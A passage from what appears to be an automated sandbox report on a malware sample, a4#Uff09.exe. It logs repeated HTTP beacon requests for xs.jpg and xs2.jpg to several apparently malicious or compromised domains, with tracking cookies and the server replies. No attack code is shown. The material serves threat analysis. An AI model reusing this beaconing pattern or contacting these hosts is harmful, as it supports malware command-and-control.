                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          67192.168.2.74978444.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:06.978086948 CEST303OUTGET /xs.jpg?1763225c=-1155984672 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0
                                                          Jul 5, 2024 08:01:07.487250090 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:07 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          68192.168.2.74978544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:07.510235071 CEST305OUTGET /images/xs.jpg?17b796b8=1591630560 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:07.998639107 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:07 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          69192.168.2.74978678.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:08.006939888 CEST193OUTGET /xs.jpg?1810ba1e=-1468721454 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:08.682347059 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:08 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          70192.168.2.74978737.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:08.703238010 CEST205OUTGET /images/xs2.jpg?189e6034=1652130000 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:09.431427002 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:09 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:09.433144093 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:09.667062044 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:09 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:09 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          71192.168.2.74978854.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:09.822244883 CEST312OUTGET /images/xs.jpg?196cfa85=-1308960349 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0
                                                          Jul 5, 2024 08:01:10.554744959 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:10 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          72192.168.2.74978944.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:10.569607019 CEST302OUTGET /xs.jpg?1a08d9e7=1747150748 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0
                                                          Jul 5, 2024 08:01:11.062690020 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:11 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          73192.168.2.74979044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:11.088315964 CEST304OUTGET /images/xs.jpg?1a62f99e=442694046 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:11.611047029 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:11 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          74192.168.2.74979178.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:11.619211912 CEST193OUTGET /xs.jpg?1aa9008f=-1611267238 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:12.310364962 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:12 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          75192.168.2.74979237.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:12.784585953 CEST204OUTGET /images/xs2.jpg?1b587445=292850354 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:13.515094042 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:13 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          76192.168.2.74979337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:13.564907074 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:14.300734043 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:14 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:14 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          77192.168.2.74979454.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:14.587567091 CEST311OUTGET /images/xs.jpg?1c7d0e18=-471306048 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0
                                                          Jul 5, 2024 08:01:15.328341007 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:15 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          78192.168.2.74979544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:15.340850115 CEST302OUTGET /xs.jpg?1d1fe4cd=1465888359 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0
                                                          Jul 5, 2024 08:01:15.836684942 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:15 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          79192.168.2.74979644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:15.863341093 CEST305OUTGET /images/xs.jpg?1d74f53a=1976816872 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:17.382191896 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:16 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0
                                                          Jul 5, 2024 08:01:17.382874966 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:16 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0
                                                          Jul 5, 2024 08:01:17.383738041 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:16 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          80192.168.2.74979778.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:17.393634081 CEST191OUTGET /xs.jpg?1eda9402=881444884 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:18.177695990 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:17 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
